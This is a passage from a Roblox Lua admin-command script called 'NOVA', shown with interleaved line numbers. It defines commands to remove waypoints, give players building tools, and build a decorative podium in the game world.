                    Speaker.Character.Torso.CFrame = v.CFrame
4857
                end)
4858
            end)
4859
        end
4860
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4861
    end
4862
)
4863
AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
4864
    function(Msg,Speaker)
4865
        Rtn = {}
4866
        for num,v in pairs(NOVA.Waypoints) do
4867
            Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
4868
                table.insert(Rtn,num)
4869
            end)
4870
        end
4871
        Output("Done",NOVA.Colors.Green,Speaker,nil,function()
4872
            RemoveTablets(Speaker)
4873
            for _,v in pairs(Rtn) do
4874
                table.remove(NOVA.Waypoints,v)
4875
            end
4876
        end)
4877
        Output("Dismiss",NOVA.Colors.Red,Speaker)
4878
    end
4879
)
4880
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
4881
    function(Msg,Speaker)
4882
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
4883
            pcall(function()
4884
                for i=0,3 do
4885
                    Instance.new("HopperBin",v.Backpack).BinType = i
4886
                end
4887
            end)
4888
        end
4889
    end
4890
)
4891
AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
4892
    function(Msg,Speaker)
4893
        local MainColor = Color3.new(0,0,0)
4894
        local SeccondaryColor = Color3.new(0.69,0.13,0.13)
4895
        local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
4896
        local MainCFrame = Speaker.Character.Torso.CFrame 
4897
            * CFrame.new(0,-4,0)
4898
            + Speaker.Character.Torso.CFrame.lookVector*3
4899
        local SeccondaryCFrame = Speaker.Character.Torso.CFrame
4900
            * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
4901
            + Speaker.Character.Torso.CFrame.lookVector*3
4902
        if CFrame == nil then return end    
4903
        coroutine.resume(coroutine.create(function()
4904
        
4905
            for i=1,25 do
4906
                wait()
4907
                local Step = Instance.new("Part",Main)
4908
                Step.FormFactor = "Custom"
4909
                Step.Name = "Step"
4910
                Step.Anchored = true
4911
                Step.Locked = true
4912
                Step.Reflectance = 0
4913
                Step.TopSurface = "Smooth"
4914
                Step.BottomSurface = "Smooth"
4915
                Step.BrickColor = BrickColor.new(SeccondaryColor)
4916
                Step.Size = Vector3.new(6,1,3)
4917
                Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
4918
                Instance.new("BlockMesh",Step)
4919
                
4920
                local Carpet = Instance.new("Part",Main)
4921
                Carpet.FormFactor = "Custom"
4922
                Carpet.Name = "Carpet"
4923
                Carpet.Anchored = true
4924
                Carpet.Locked = true
4925
                Carpet.Reflectance = 0
4926
                Carpet.TopSurface = "Smooth"
4927
                Carpet.BottomSurface = "Smooth"
4928
                Carpet.BrickColor = BrickColor.new(MainColor)
4929
                Carpet.Size = Vector3.new(4,1,3.2)
4930
                Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
4931
                Instance.new("BlockMesh",Carpet)   
4932
            end     
4933
            local MainCirc = Instance.new("Part",Main)
4934
            MainCirc.FormFactor = "Custom"
4935
            MainCirc.Name = "MainCirc"
4936
            MainCirc.Anchored = true
4937
            MainCirc.Locked = true
4938
            MainCirc.Reflectance = 0
4939
            MainCirc.TopSurface = "Smooth"
4940
            MainCirc.BottomSurface = "Smooth"
4941
            MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
4942
            MainCirc.Size = Vector3.new(20,1,20)
4943
            MainCirc.CFrame = SeccondaryCFrame
4944
            Instance.new("CylinderMesh",MainCirc)
4945
            
4946
            local SeccondaryCirc = Instance.new("Part",Main)
4947
            SeccondaryCirc.FormFactor = "Custom"
4948
            SeccondaryCirc.Name = "SeccondaryCirc"
4949
            SeccondaryCirc.Anchored = true
4950
            SeccondaryCirc.Locked = true
4951
            SeccondaryCirc.Reflectance = 0
4952
            SeccondaryCirc.TopSurface = "Smooth"
4953
            SeccondaryCirc.BottomSurface = "Smooth"
4954
            SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
4955
            SeccondaryCirc.Size = Vector3.new(18,1,18)
4956
            SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
4957
            Instance.new("CylinderMesh",SeccondaryCirc)
4958
            for i=1,math.floor(360/6) do
4959
                local Spike = Instance.new("Part",Main)
4960
                Spike.FormFactor = "Custom"
4961
                Spike.Name = "Spike"
4962
                Spike.Anchored = true
4963
                Spike.Locked = true
4964
                Spike.Reflectance = 0
4965
                Spike.TopSurface = "Smooth"
4966
                Spike.BottomSurface = "Smooth"
4967
                Spike.BrickColor = BrickColor.new(MainColor)
4968
                Spike.Size = Vector3.new(1,7,1)
4969
                Spike.CFrame = SeccondaryCFrame 
4970
                    * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
4971
                    * CFrame.new(7,-7,0)
4972
                Torch = Instance.new("Part",Main)
4973
                Torch.Reflectance = 1e+999
4974
                Torch.FormFactor = "Custom"
4975
                Torch.Shape = "Ball"
4976
                Torch.Anchored = true
4977
                Torch.Locked = true
4978
                Torch.Size = Vector3.new(2,2,2)
4979
                Torch.CFrame = Spike.CFrame
4980
                    * CFrame.new(0,3.5,0)
4981
                    * CFrame.Angles(0,0,0)
4982
                Instance.new("Fire",Torch)
4983
            end
4984
        end))
4985
    end
4986
)   ------Edited by Blox245------